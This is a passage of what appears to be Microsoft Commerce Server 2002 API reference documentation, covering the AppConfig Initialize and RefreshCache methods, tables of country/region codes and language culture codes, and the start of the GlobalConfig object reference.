Set listRegions = oAppConfig.GetRegionNamesListFromCountryCode("us")
For Each sRegion In listRegions
  Response.Write sRegion
Next
' The above example will provide a list of USA state names

See Also

[C++] AppConfig Object

[C++] IAppCfg::GetCountryCodeFromCountryName

[C++] IAppCfg::GetCountryNamesList

[C++] IAppCfg::GetRegionCodeFromCountryCodeAndRegionName

[C++] Table of Country/Region and State/Province Names and Codes

[Visual Basic] AppConfig Object

[Visual Basic] AppConfig.GetCountryCodeFromCountryName

[Visual Basic] AppConfig.GetCountryNamesList

[Visual Basic] AppConfig.GetRegionCodeFromCountryCodeAndRegionName

[Visual Basic] Table of Country/Region and State/Province Names and Codes


IAppCfg::Initialize Method [C++]

AppConfig.Initialize Method [Visual Basic]

Use this method to initialize an AppConfig object.

Definition

[C++]
HRESULT IAppCfg::Initialize(
  BSTR bstrSiteName
);
[Visual Basic]
Sub Initialize(
  bstrSiteName As String
)

Parameters

bstrSiteName [C++]
[in] A BSTR that contains the name of the site with which this AppConfig object should be associated. This name is not case-sensitive.
bstrSiteName [Visual Basic]
A String that contains the name of the site with which this AppConfig object should be associated. This name is not case-sensitive.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The AppConfig object must be initialized before any other method on this object can be used. The initialization usually happens only once in Global.asa immediately after the object is created.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
' oAppCfg is a Commerce.AppConfig object
oAppCfg.Initialize("Retail")

See Also

[C++] AppConfig Object

[C++] IAppCfg::RefreshCache

[Visual Basic] AppConfig Object

[Visual Basic] AppConfig.RefreshCache


IAppCfg::RefreshCache Method [C++]

AppConfig.RefreshCache Method [Visual Basic]

Use this method to refresh the cache associated with the AppConfig object.

Definition

[C++]
HRESULT IAppCfg::RefreshCache(
);
[Visual Basic]
Sub RefreshCache()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Users can add and change country/region and state/province codes and other values from within Commerce Server Business Desk; the RefreshCache method allows you to programmatically incorporate those changes at any time.

See Also

[C++] AppConfig Object

[C++] IAppCfg::Initialize

[Visual Basic] AppConfig Object

[Visual Basic] AppConfig.Initialize


Table of Country/Region and State/Province Names and Codes [C++]

Table of Country/Region and State/Province Names and Codes [Visual Basic]

Country/region codes may or may not be the same as ISO Country/region codes, depending on what values have been added in the Business Desk. The following table contains country/region names with their corresponding codes.

Official Short Form | Official Long Form | ISO Code | ISO Short | ISO Long | UN Code | Capital/Major City
Afghanistan | Islamic State of Afghanistan | 4 | AF | AFG | 4 | Kâbul
Albania | Republic of Albania | 8 | AL | ALB | 8 | Tirana
Algeria | Democratic and Popular Republic of Algeria | 12 | DZ | DZA | 12 | Algiers
American Samoa | Territory of American Samoa | 16 | AS | ASM | 16 |
Andorra | Principality of Andorra | 20 | AD | AND | 20 | Andorra la Vella
Angola | Republic of Angola | 24 | AO | AGO | 24 | Luanda
Anguilla |  | 660 | AI | AIA | 660 |
Antarctica |  | 10 | AQ | ATA | 10 |
Antigua and Barbuda | Antigua and Barbuda | 28 | AG | ATG | 28 | St. John's
Argentina | Argentine Republic | 32 | AR | ARG | 32 | Buenos Aires
Armenia | Republic of Armenia | 51 | AM | ARM | 51 | Yerevan
Aruba |  | 533 | AW | ABW | 533 |
Australia | Commonwealth of Australia | 36 | AU | AUS | 36 | Canberra
Austria | Republic of Austria | 40 | AT | AUT | 40 | Vienna
Azerbaijan | Azerbaijani Republic | 31 | AZ | AZE | 31 | Baku
Bahamas, The | The Commonwealth of The Bahamas | 44 | BS | BHS | 44 | Nassau
Bahrain | State of Bahrain | 48 | BH | BHR | 48 | Manama
Bangladesh | People's Republic of Bangladesh | 50 | BD | BGD | 50 | Dhaka
Barbados |  | 52 | BB | BRB | 52 | Bridgetown
Belarus | Republic of Belarus | 112 | BY | BLR | 112 | Minsk
Belgium | Kingdom of Belgium | 56 | BE | BEL | 56 | Brussels
Belize |  | 84 | BZ | BLZ | 84 | Belmopan
Benin | Republic of Benin | 204 | BJ | BEN | 204 | Porto-Novo
Bermuda |  | 60 | BM | BMU | 60 |
Bhutan | Kingdom of Bhutan | 64 | BT | BTN | 64 | Thimphu
Bolivia | Republic of Bolivia | 68 | BO | BOL | 68 | Sucre
Bosnia and Herzegovina | Republic of Bosnia and Herzegovina | 70 | BA | BIH | 70 | Sarajevo
Botswana | Republic of Botswana | 72 | BW | BWA | 72 | Gaborone
Bouvet Island |  | 74 | BV | BVT | - |
Brazil | Federative Republic of Brazil | 76 | BR | BRA | 76 | Brasília
British Indian Ocean Territory | British Indian Ocean Territory | 86 | IO | IOT | - |
Brunei | Negara Brunei Darussalam | 96 | BN | BRN | 96 | Bandar seri Begawan
Bulgaria | Republic of Bulgaria | 100 | BG | BGR | 100 | Sofia
Burkina Faso |  | 854 | BF | BFA | 854 | Ouagadougou
Burundi | Republic of Burundi | 108 | BI | BDI | 108 | Bujumbura
Côte d'Ivoire | Republic of Côte d'Ivoire | 384 | CI | CIV | 384 | Yamoussoukro
Cambodia | Kingdom of Cambodia | 116 | KH | KHM | 116 | Phnom Penh
Cameroon | Republic of Cameroon | 120 | CM | CMR | 120 | Yaoundé
Canada |  | 124 | CA | CAN | 124 | Ottawa
Cape Verde | Republic of Cape Verde | 132 | CV | CPV | 132 | Praia
Cayman Islands |  | 136 | KY | CYM | 136 |
Central African Republic | Central African Republic | 140 | CF | CAF | 140 | Bangui
Chad | Republic of Chad | 148 | TD | TCD | 148 | N'Djamena
Channel Islands |  | - | GB-CHA | - | 830 |
Chile | Republic of Chile | 152 | CL | CHL | 152 | Santiago
China | People's Republic of China | 156 | CN | CHN | 156 | Beijing
Christmas Island | Territory of Christmas Island | 162 | CX | CXR | - |
Cocos (Keeling) Islands | Territory of Cocos (Keeling) Islands | 166 | CC | CCK | - |
Colombia | Republic of Colombia | 170 | CO | COL | 170 | Santa Fe de Bogotá
Comoros | Federal Islamic Republic of the Comoros | 174 | KM | COM | 174 | Moroni
Congo | Republic of the Congo | 178 | CG | COG | 178 | Brazzaville
Congo (DRC) | Democratic Republic of the Congo | 180 | CD | COD | 180 | Kinshasa
Cook Islands |  | 184 | CK | COK | 184 |
Coral Sea Islands | Coral Sea Islands Territory | - | AU | - | - |
Costa Rica | Republic of Costa Rica | 188 | CR | CRI | 188 | San José
Croatia | Republic of Croatia | 191 | HR | HRV | 191 | Zagreb
Cuba | Republic of Cuba | 192 | CU | CUB | 192 | Havana
Cyprus | Republic of Cyprus | 196 | CY | CYP | 196 | Nicosia
Czech Republic | Czech Republic | 203 | CZ | CZE | 203 | Prague
Denmark | Kingdom of Denmark | 208 | DK | DNK | 208 | Copenhagen
Djibouti | Republic of Djibouti | 262 | DJ | DJI | 262 | Djibouti
Dominica | Commonwealth of Dominica | 212 | DM | DMA | 212 | Roseau
Dominican Republic | Dominican Republic | 214 | DO | DOM | 214 | Santo Domingo
East Timor |  | 626 | TP | TMP | 626 | Dili
Ecuador | Republic of Ecuador | 218 | EC | ECU | 218 | Quito
Egypt | Arab Republic of Egypt | 818 | EG | EGY | 818 | Cairo
El Salvador | Republic of El Salvador | 222 | SV | SLV | 222 | San Salvador
Equatorial Guinea | Republic of Equatorial Guinea | 226 | GQ | GNQ | 226 | Malabo
Eritrea | State of Eritrea | 232 | ER | ERI | 232 | Asmara
Estonia | Republic of Estonia | 233 | EE | EST | 233 | Tallinn
Ethiopia | Federal Democratic Republic of Ethiopia | 231 | ET | ETH | 231 | Addis Ababa
Falkland Islands (Islas Malvinas) | Colony of the Falkland Islands (Islas Malvinas) | 238 | FK | FLK | 238 |
Faroe Islands |  | 234 | FO | FRO | 234 |
Fiji Islands | Republic of the Fiji Islands | 242 | FJ | FJI | 242 | Suva
Finland | Republic of Finland | 246 | FI | FIN | 246 | Helsinki
France | French Republic | 250 | FR | FRA | 250 | Paris
France, Metropolitan |  | 249 | FX | FXX | - |
French Guiana | Department of Guiana | 254 | GF | GUF | 254 |
French Polynesia | Territory of French Polynesia | 258 | PF | PYF | 258 |
French Southern and Antarctic Lands | Territory of the French Southern and Antarctic Lands | 260 | TF | ATF | - |
Gabon | Gabonese Republic | 266 | GA | GAB | 266 | Libreville
Gambia, The | Republic of The Gambia | 270 | GM | GMB | 270 | Banjul
Georgia | Republic of Georgia | 268 | GE | GEO | 268 | T'bilisi
Germany | Federal Republic of Germany | 276 | DE | DEU | 276 | Berlin
Ghana | Republic of Ghana | 288 | GH | GHA | 288 | Accra
Gibraltar |  | 292 | GI | GIB | 292 |
Greece | Hellenic Republic | 300 | GR | GRC | 300 | Athens
Greenland |  | 304 | GL | GRL | 304 |
Grenada |  | 308 | GD | GRD | 308 | St. George's
Guadeloupe | Department of Guadeloupe | 312 | GP | GLP | 312 |
Guam | Territory of Guam | 316 | GU | GUM | 316 |
Guatemala | Republic of Guatemala | 320 | GT | GTM | 320 | Guatemala
Guernsey | Balliwick of Guernsey | - | GB-GSY | - | - |
Guinea | Republic of Guinea | 324 | GN | GIN | 324 | Conakry
Guinea-Bissau | Republic of Guinea-Bissau | 624 | GW | GNB | 624 | Bissau
Guyana | Cooperative Republic of Guyana | 328 | GY | GUY | 328 | Georgetown
Haiti | Republic of Haiti | 332 | HT | HTI | 332 | Port-au-Prince
Heard Island and McDonald Islands | Territory of Heard Island and McDonald Islands | 334 | HM | HMD | - |
Honduras | Republic of Honduras | 340 | HN | HND | 340 | Tegucigalpa
Hong Kong SAR | Hong Kong Special Administrative Region | 344 | HK | HKG | 344 |
Hungary | Republic of Hungary | 348 | HU | HUN | 348 | Budapest
Iceland | Republic of Iceland | 352 | IS | ISL | 352 | Reykjavík
India | Republic of India | 356 | IN | IND | 356 | New Delhi
Indonesia | Republic of Indonesia | 360 | ID | IDN | 360 | Jakarta
Iran | Islamic Republic of Iran | 364 | IR | IRN | 364 | Tehran
Iraq | Republic of Iraq | 368 | IQ | IRQ | 368 | Baghdad
Ireland | Republic of Ireland | 372 | IE | IRL | 372 | Dublin
Israel | State of Israel | 376 | IL | ISR | 376 | Jerusalem
Italy | Italian Republic | 380 | IT | ITA | 380 | Rome
Jamaica |  | 388 | JM | JAM | 388 | Kingston
Japan |  | 392 | JP | JPN | 392 | Tokyo
Jersey | Balliwick of Jersey | - | GB-JSY | - | - |
Jordan | Hashemite Kingdom of Jordan | 400 | JO | JOR | 400 | Amman
Kazakhstan | Republic of Kazakhstan | 398 | KZ | KAZ | 398 | Astana
Kenya | Republic of Kenya | 404 | KE | KEN | 404 | Nairobi
Kiribati | Republic of Kiribati | 296 | KI | KIR | 296 | Bairiki
Korea | Republic of Korea | 410 | KR | KOR | 410 | Seoul
Kuwait | State of Kuwait | 414 | KW | KWT | 414 | Kuwait
Kyrgyzstan | Kyrgyz Republic | 417 | KG | KGZ | 417 | Bishkek
Laos | Lao People's Democratic Republic | 418 | LA | LAO | 418 | Vientiane
Latvia | Republic of Latvia | 428 | LV | LVA | 428 | Riga
Lebanon | Republic of Lebanon | 422 | LB | LBN | 422 | Beirut
Lesotho | Kingdom of Lesotho | 426 | LS | LSO | 426 | Maseru
Liberia | Republic of Liberia | 430 | LR | LBR | 430 | Monrovia
Libya | Socialist People's Libyan Arab Jamahiriya | 434 | LY | LBY | 434 | Tripoli
Liechtenstein | Principality of Liechtenstein | 438 | LI | LIE | 438 | Vaduz
Lithuania | Republic of Lithuania | 440 | LT | LTU | 440 | Vilnius
Luxembourg | Grand Duchy of Luxembourg | 442 | LU | LUX | 442 | Luxembourg
Macau SAR | Macau Special Administrative Region | 446 | MO | MAC | 446 |
Macedonia, Former Yugoslav Republic of | The Former Yugoslav Republic of Macedonia | 807 | MK | MKD | 807 | Skopje
Madagascar | Republic of Madagascar | 450 | MG | MDG | 450 | Antananarivo
Malawi | Republic of Malawi | 454 | MW | MWI | 454 | Lilongwe
Malaysia | Federation of Malaysia | 458 | MY | MYS | 458 | Kuala Lumpur
Maldives | Republic of Maldives | 462 | MV | MDV | 462 | Malé
Mali | Republic of Mali | 466 | ML | MLI | 466 | Bamako
Malta | Republic of Malta | 470 | MT | MLT | 470 | Valletta
Man, Isle of |  | - | GB-IOM | - | 833 |
Marshall Islands | Republic of the Marshall Islands | 584 | MH | MHL | 584 | Majuro
Martinique | Department of Martinique | 474 | MQ | MTQ | 474 |
Mauritania | Islamic Republic of Mauritania | 478 | MR | MRT | 478 | Nouakchott
Mauritius | Republic of Mauritius | 480 | MU | MUS | 480 | Port Louis
Mayotte | Territorial Collectivity of Mayotte | 175 | YT | MYT | - |
Mexico | United Mexican States | 484 | MX | MEX | 484 | Mexico City
Micronesia | Federated States of Micronesia | 583 | FM | FSM | 583 | Palikir
Moldova | Republic of Moldova | 498 | MD | MDA | 498 | Chiºinãu
Monaco | Principality of Monaco | 492 | MC | MCO | 492 | Monaco
Mongolia |  | 496 | MN | MNG | 496 | Ulaanbaatar
Montserrat |  | 500 | MS | MSR | 500 |
Morocco | Kingdom of Morocco | 504 | MA | MAR | 504 | Rabat
Mozambique | Republic of Mozambique | 508 | MZ | MOZ | 508 | Maputo
Myanmar | Union of Myanmar | 104 | MM | MMR | 104 | Yangon (Rangoon)
Namibia | Republic of Namibia | 516 | NA | NAM | 516 | Windhoek
Nauru | Republic of Nauru | 520 | NR | NRU | 520 | Yaren
Nepal | Kingdom of Nepal | 524 | NP | NPL | 524 | Kathmandu
Netherlands Antilles |  | 530 | AN | ANT | 530 |
Netherlands, The | Kingdom of the Netherlands | 528 | NL | NLD | 528 | Amsterdam
New Caledonia | Territory of New Caledonia and Dependencies | 540 | NC | NCL | 540 |
New Zealand |  | 554 | NZ | NZL | 554 | Wellington
Nicaragua | Republic of Nicaragua | 558 | NI | NIC | 558 | Managua
Niger | Republic of Niger | 562 | NE | NER | 562 | Niamey
Nigeria | Federal Republic of Nigeria | 566 | NG | NGA | 566 | Abuja
Niue |  | 570 | NU | NIU | 570 |
Norfolk Island | Territory of Norfolk Island | 574 | NF | NFK | 574 |
North Korea | Democratic People's Republic of Korea | 408 | KP | PRK | 408 | Pyongyang
Northern Mariana Islands | Commonwealth of the Northern Mariana Islands | 580 | MP | MNP | 580 |
Norway | Kingdom of Norway | 578 | NO | NOR | 578 | Oslo
Oman | Sultanate of Oman | 512 | OM | OMN | 512 | Masqaþ
Pakistan | Islamic Republic of Pakistan | 586 | PK | PAK | 586 | Islâmâbâd
Palau | Republic of Palau | 585 | PW | PLW | 585 | Koror
Panama | Republic of Panama | 591 | PA | PAN | 591 | Panama City
Papua New Guinea | Independent State of Papua New Guinea | 598 | PG | PNG | 598 | Port Moresby
Paraguay | Republic of Paraguay | 600 | PY | PRY | 600 | Asunción
Peru | Republic of Peru | 604 | PE | PER | 604 | Lima
Philippines | Republic of the Philippines | 608 | PH | PHL | 608 | Manila
Pitcairn Islands | Pitcairn, Henderson, Ducie, and Oeno Islands | 612 | PN | PCN | 612 |
Poland | Republic of Poland | 616 | PL | POL | 616 | Warsaw
Portugal | Portuguese Republic | 620 | PT | PRT | 620 | Lisbon
Puerto Rico | Commonwealth of Puerto Rico | 630 | PR | PRI | 630 |
Qatar | State of Qatar | 634 | QA | QAT | 634 | Doha
Reunion | Department of Reunion | 638 | RE | REU | 638 |
Romania |  | 642 | RO | ROM | 642 | Bucharest
Russia | Russian Federation | 643 | RU | RUS | 643 | Moscow
Rwanda | Rwandese Republic | 646 | RW | RWA | 646 | Kigali
São Tomé and Príncipe | Democratic Republic of São Tomé and Príncipe | 678 | ST | STP | 678 | São Tomé
Samoa | Independent State of Samoa | 882 | WS | WSM | 882 | Apia
San Marino | Republic of San Marino | 674 | SM | SMR | 674 | San Marino
Saudi Arabia | Kingdom of Saudi Arabia | 682 | SA | SAU | 682 | Riyadh
Senegal | Republic of Senegal | 686 | SN | SEN | 686 | Dakar
Seychelles | Republic of Seychelles | 690 | SC | SYC | 690 | Victoria
Sierra Leone | Republic of Sierra Leone | 694 | SL | SLE | 694 | Freetown
Singapore | Republic of Singapore | 702 | SG | SGP | 702 | Singapore
Slovakia | Slovak Republic | 703 | SK | SVK | 703 | Bratislava
Slovenia | Republic of Slovenia | 705 | SI | SVN | 705 | Ljubljana
Solomon Islands |  | 90 | SB | SLB | 90 | Honiara
Somalia | Somali Democratic Republic | 706 | SO | SOM | 706 | Mogadishu
South Africa | Republic of South Africa | 710 | ZA | ZAF | 710 | Pretoria
South Georgia and the South Sandwich Islands | South Georgia and the South Sandwich Islands | 239 | GS | SGS | - |
Spain | Kingdom of Spain | 724 | ES | ESP | 724 | Madrid
Sri Lanka | Democratic Socialist Republic of Sri Lanka | 144 | LK | LKA | 144 | Sri Jayawardenepura
St. Helena | Saint Helena | 654 | SH | SHN | 654 |
St. Kitts and Nevis | Federation of Saint Kitts and Nevis | 659 | KN | KNA | 659 | Basseterre
St. Lucia | Saint Lucia | 662 | LC | LCA | 662 | Castries
St. Pierre and Miquelon | Territorial Collectivity of Saint Pierre and Miquelon | 666 | PM | SPM | 666 |
St. Vincent and the Grenadines | Saint Vincent and the Grenadines | 670 | VC | VCT | 670 | Kingstown
Sudan | Republic of the Sudan | 736 | SD | SDN | 736 | Khartoum
Suriname | Republic of Suriname | 740 | SR | SUR | 740 | Paramaribo
Svalbard and Jan Mayen |  | 744 | SJ | SJM | 744 |
Swaziland | Kingdom of Swaziland | 748 | SZ | SWZ | 748 | Mbabane
Sweden | Kingdom of Sweden | 752 | SE | SWE | 752 | Stockholm
Switzerland | Swiss Confederation | 756 | CH | CHE | 756 | Bern
Syria | Syrian Arab Republic | 760 | SY | SYR | 760 | Damascus
Taiwan | Taiwan | 158 | TW | TWN | 158 | Taipei
Tajikistan | Republic of Tajikistan | 762 | TJ | TJK | 762 | Dushanbe
Tanzania | United Republic of Tanzania | 834 | TZ | TZA | 834 | Dar es Salaam
Thailand | Kingdom of Thailand | 764 | TH | THA | 764 | Bangkok
Togo | Togolese Republic | 768 | TG | TGO | 768 | Lomé
Tokelau |  | 772 | TK | TKL | 772 |
Tonga | Kingdom of Tonga | 776 | TO | TON | 776 | Nuku'alofa
Trinidad and Tobago | Republic of Trinidad and Tobago | 780 | TT | TTO | 780 | Port-of-Spain
Tunisia | Republic of Tunisia | 788 | TN | TUN | 788 | Tunis
Turkey | Republic of Turkey | 792 | TR | TUR | 792 | Ankara
Turkmenistan | Republic of Turkmenistan | 795 | TM | TKM | 795 | Ashgabat
Turks and Caicos Islands |  | 796 | TC | TCA | 796 |
Tuvalu |  | 798 | TV | TUV | 798 | Funafuti
U.S. Minor Outlying Islands | United States Minor Outlying Islands | 581 | UM | UMI | 581 |
Uganda | Republic of Uganda | 800 | UG | UGA | 800 | Kampala
Ukraine |  | 804 | UA | UKR | 804 | Kyiv
United Arab Emirates |  | 784 | AE | ARE | 784 | Abu Dhabi
United Kingdom | United Kingdom of Great Britain and Northern Ireland | 826 | GB | GBR | 826 | London
United States | United States of America | 840 | US | USA | 840 | Washington, D.C.
Uruguay | Oriental Republic of Uruguay | 858 | UY | URY | 858 | Montevideo
Uzbekistan | Republic of Uzbekistan | 860 | UZ | UZB | 860 | Toshkent
Vanuatu | Republic of Vanuatu | 548 | VU | VUT | 548 | Port-Vila
Vatican City | State of Vatican City | 336 | VA | VAT | 336 | Vatican City
Venezuela | Bolivarian Republic of Venezuela | 862 | VE | VEN | 862 | Caracas
Viet Nam | Socialist Republic of Vietnam | 704 | VN | VNM | 704 | Hanoi
Virgin Islands | Virgin Islands of the United States | 850 | VI | VIR | 850 |
Virgin Islands, British |  | 92 | VG | VGB | 92 |
Wallis and Futuna | Territory of the Wallis and Futuna Islands | 876 | WF | WLF | 876 |
Yemen | Republic of Yemen | 887 | YE | YEM | 887 | Sana'a
Yugoslavia | Federal Republic of Yugoslavia | 891 | YU | YUG | 891 | Belgrade
Zambia | Republic of Zambia | 894 | ZM | ZMB | 894 | Lusaka
Zimbabwe | Republic of Zimbabwe | 716 | ZW | ZWE | 716 | Harare


Table of Language Culture Names, Codes, and ISO Values Method [C++]

Table of Language Culture Names, Codes, and ISO Values [Visual Basic]

The following table contains values for Language Culture Names, Display Names, Culture Codes, and ISO 639x Values that are used by Commerce Server.

Language Culture Name | Display Name | Culture Code | ISO 639x Value
af-ZA | Afrikaans - South Africa | 0x0436 | AFK
sq-AL | Albanian - Albania | 0x041C | SQI
ar-DZ | Arabic - Algeria | 0x1401 | ARG
ar-BH | Arabic - Bahrain | 0x3C01 | ARH
ar-EG | Arabic - Egypt | 0x0C01 | ARE
ar-IQ | Arabic - Iraq | 0x0801 | ARI
ar-JO | Arabic - Jordan | 0x2C01 | ARJ
ar-KW | Arabic - Kuwait | 0x3401 | ARK
ar-LB | Arabic - Lebanon | 0x3001 | ARB
ar-LY | Arabic - Libya | 0x1001 | ARL
ar-MA | Arabic - Morocco | 0x1801 | ARM
ar-OM | Arabic - Oman | 0x2001 | ARO
ar-QA | Arabic - Qatar | 0x4001 | ARQ
ar-SA | Arabic - Saudi Arabia | 0x0401 | ARA
ar-SY | Arabic - Syria | 0x2801 | ARS
ar-TN | Arabic - Tunisia | 0x1C01 | ART
ar-AE | Arabic - United Arab Emirates | 0x3801 | ARU
ar-YE | Arabic - Yemen | 0x2401 | ARY
hy-AM | Armenian - Armenia | 0x042B |
Cy-az-AZ | Azeri (Cyrillic) - Azerbaijan | 0x082C |
Lt-az-AZ | Azeri (Latin) - Azerbaijan | 0x042C |
eu-ES | Basque - Basque | 0x042D | EUQ
be-BY | Belarusian - Belarus | 0x0423 | BEL
bg-BG | Bulgarian - Bulgaria | 0x0402 | BGR
ca-ES | Catalan - Catalan | 0x0403 | CAT
zh-CN | Chinese - China | 0x0804 | CHS
zh-HK | Chinese - Hong Kong SAR | 0x0C04 | ZHH
zh-MO | Chinese - Macau SAR | 0x1404 |
zh-SG | Chinese - Singapore | 0x1004 | ZHI
zh-TW | Chinese - Taiwan | 0x0404 | CHT
zh-CHS | Chinese (Simplified) | 0x0004 |
zh-CHT | Chinese (Traditional) | 0x7C04 |
hr-HR | Croatian - Croatia | 0x041A | HRV
cs-CZ | Czech - Czech Republic | 0x0405 | CSY
da-DK | Danish - Denmark | 0x0406 | DAN
div-MV | Dhivehi - Maldives | 0x0465 |
nl-BE | Dutch - Belgium | 0x0813 | NLB
nl-NL | Dutch - The Netherlands | 0x0413 |
en-AU | English - Australia | 0x0C09 | ENA
en-BZ | English - Belize | 0x2809 | ENL
en-CA | English - Canada | 0x1009 | ENC
en-CB | English - Caribbean | 0x2409 |
en-IE | English - Ireland | 0x1809 | ENI
en-JM | English - Jamaica | 0x2009 | ENJ
en-NZ | English - New Zealand | 0x1409 | ENZ
en-PH | English - Philippines | 0x3409 |
en-ZA | English - South Africa | 0x1C09 | ENS
en-TT | English - Trinidad and Tobago | 0x2C09 | ENT
en-GB | English - United Kingdom | 0x0809 | ENG
en-US | English - United States | 0x0409 | ENU
en-ZW | English - Zimbabwe | 0x3009 |
et-EE | Estonian - Estonia | 0x0425 | ETI
fo-FO | Faroese - Faroe Islands | 0x0438 | FOS
fa-IR | Farsi - Iran | 0x0429 | FAR
fi-FI | Finnish - Finland | 0x040B | FIN
fr-BE | French - Belgium | 0x080C | FRB
fr-CA | French - Canada | 0x0C0C | FRC
fr-FR | French - France | 0x040C |
fr-LU | French - Luxembourg | 0x140C | FRL
fr-MC | French - Monaco | 0x180C |
fr-CH | French - Switzerland | 0x100C | FRS
gl-ES | Galician - Galician | 0x0456 |
ka-GE | Georgian - Georgia | 0x0437 |
de-AT | German - Austria | 0x0C07 | DEA
de-DE | German - Germany | 0x0407 |
de-LI | German - Liechtenstein | 0x1407 | DEC
de-LU | German - Luxembourg | 0x1007 | DEL
de-CH | German - Switzerland | 0x0807 | DES
el-GR | Greek - Greece | 0x0408 | ELL
gu-IN | Gujarati - India | 0x0447 |
he-IL | Hebrew - Israel | 0x040D | HEB
hi-IN | Hindi - India | 0x0439 | HIN
hu-HU | Hungarian - Hungary | 0x040E | HUN
is-IS | Icelandic - Iceland | 0x040F | ISL
id-ID | Indonesian - Indonesia | 0x0421 |
it-IT | Italian - Italy | 0x0410 |
it-CH | Italian - Switzerland | 0x0810 | ITS
ja-JP | Japanese - Japan | 0x0411 | JPN
kn-IN | Kannada - India | 0x044B |
kk-KZ | Kazakh - Kazakhstan | 0x043F |
kok-IN | Konkani - India | 0x0457 |
ko-KR | Korean - Korea | 0x0412 | KOR
ky-KZ | Kyrgyz - Kazakhstan | 0x0440 |
lv-LV | Latvian - Latvia | 0x0426 | LVI
lt-LT | Lithuanian - Lithuania | 0x0427 | LTH
mk-MK | Macedonian - FYROM | 0x042F | MKD
ms-BN | Malay - Brunei | 0x083E |
ms-MY | Malay - Malaysia | 0x043E |
mr-IN | Marathi - India | 0x044E |
mn-MN | Mongolian - Mongolia | 0x0450 |
nb-NO | Norwegian (Bokmål) - Norway | 0x0414 |
nn-NO | Norwegian (Nynorsk) - Norway | 0x0814 |
pl-PL | Polish - Poland | 0x0415 | PLK
pt-BR | Portuguese - Brazil | 0x0416 | PTB
pt-PT | Portuguese - Portugal | 0x0816 |
pa-IN | Punjabi - India | 0x0446 |
ro-RO | Romanian - Romania | 0x0418 | ROM
ru-RU | Russian - Russia | 0x0419 | RUS
sa-IN | Sanskrit - India | 0x044F |
Cy-sr-SP | Serbian (Cyrillic) - Serbia | 0x0C1A |
Lt-sr-SP | Serbian (Latin) - Serbia | 0x081A |
sk-SK | Slovak - Slovakia | 0x041B | SKY
sl-SI | Slovenian - Slovenia | 0x0424 | SLV
es-AR | Spanish - Argentina | 0x2C0A | ESS
es-BO | Spanish - Bolivia | 0x400A | ESB
es-CL | Spanish - Chile | 0x340A | ESL
es-CO | Spanish - Colombia | 0x240A | ESO
es-CR | Spanish - Costa Rica | 0x140A | ESC
es-DO | Spanish - Dominican Republic | 0x1C0A | ESD
es-EC | Spanish - Ecuador | 0x300A | ESF
es-SV | Spanish - El Salvador | 0x440A | ESE
es-GT | Spanish - Guatemala | 0x100A | ESG
es-HN | Spanish - Honduras | 0x480A | ESH
es-MX | Spanish - Mexico | 0x080A | ESM
es-NI | Spanish - Nicaragua | 0x4C0A | ESI
es-PA | Spanish - Panama | 0x180A | ESA
es-PY | Spanish - Paraguay | 0x3C0A | ESZ
es-PE | Spanish - Peru | 0x280A | ESR
es-PR | Spanish - Puerto Rico | 0x500A | ES
es-ES | Spanish - Spain | 0x0C0A |
es-UY | Spanish - Uruguay | 0x380A | ESY
es-VE | Spanish - Venezuela | 0x200A | ESV
sw-KE | Swahili - Kenya | 0x0441 |
sv-FI | Swedish - Finland | 0x081D | SVF
sv-SE | Swedish - Sweden | 0x041D |
syr-SY | Syriac - Syria | 0x045A |
ta-IN | Tamil - India | 0x0449 |
tt-RU | Tatar - Russia | 0x0444 |
te-IN | Telugu - India | 0x044A |
th-TH | Thai - Thailand | 0x041E | THA
tr-TR | Turkish - Turkey | 0x041F | TRK
uk-UA | Ukrainian - Ukraine | 0x0422 | UKR
ur-PK | Urdu - Pakistan | 0x0420 | URD
Cy-uz-UZ | Uzbek (Cyrillic) - Uzbekistan | 0x0843 |
Lt-uz-UZ | Uzbek (Latin) - Uzbekistan | 0x0443 |
vi-VN | Vietnamese - Vietnam | 0x042A | VIT


GlobalConfig Object [C++]

GlobalConfig Object [Visual Basic]

Use this object to accomplish the following:

  • Create or delete resource configuration information
  • Save any updated global configuration information to the Administration database
  • Add a site
Depending on how you add your own custom resource, you should be able to use this object to access configuration settings from the Administration database.
ProgID: | Commerce.GlobalConfig (Externally creatable)
COM Class Name: | GlobalConfig
Type Library Name: | Microsoft Commerce 2002 Configuration Type Library
DLL Name: | MSCSCfg.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _GlobalConfig
Interface ID Constant: | None
Header File: | None

[C++] In C++, use the _GlobalConfig interface to access the properties and methods of the GlobalConfig object.

Methods

[C++]
Method | Description
CreateServiceConfig | Creates and writes configuration information for the specified resource to the Administration database.
CreateSiteConfig | Creates a site.
DeleteServiceConfig | Deletes configuration information for the specified resource.
DeleteSiteConfig | Deletes the specified configuration for the site and all configurations for the associated resources.
GetIfCollection | Converts values read from the Fields property into appropriate objects such as a SimpleList object or a Variant Array.
GetResourcePropAttrib | Gets a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.
Initialize | Loads the global configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into an Array.
MakeArrayFromString | Converts values read from the Fields property into an Array.
MakeSimpleListFromArray | Converts an Array into a SimpleList object.
MakeStringFromArray | Converts an Array into an encoded string, which can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string, which can be written to the Fields property.
SaveConfig | Saves the global configuration settings to the Administration database.
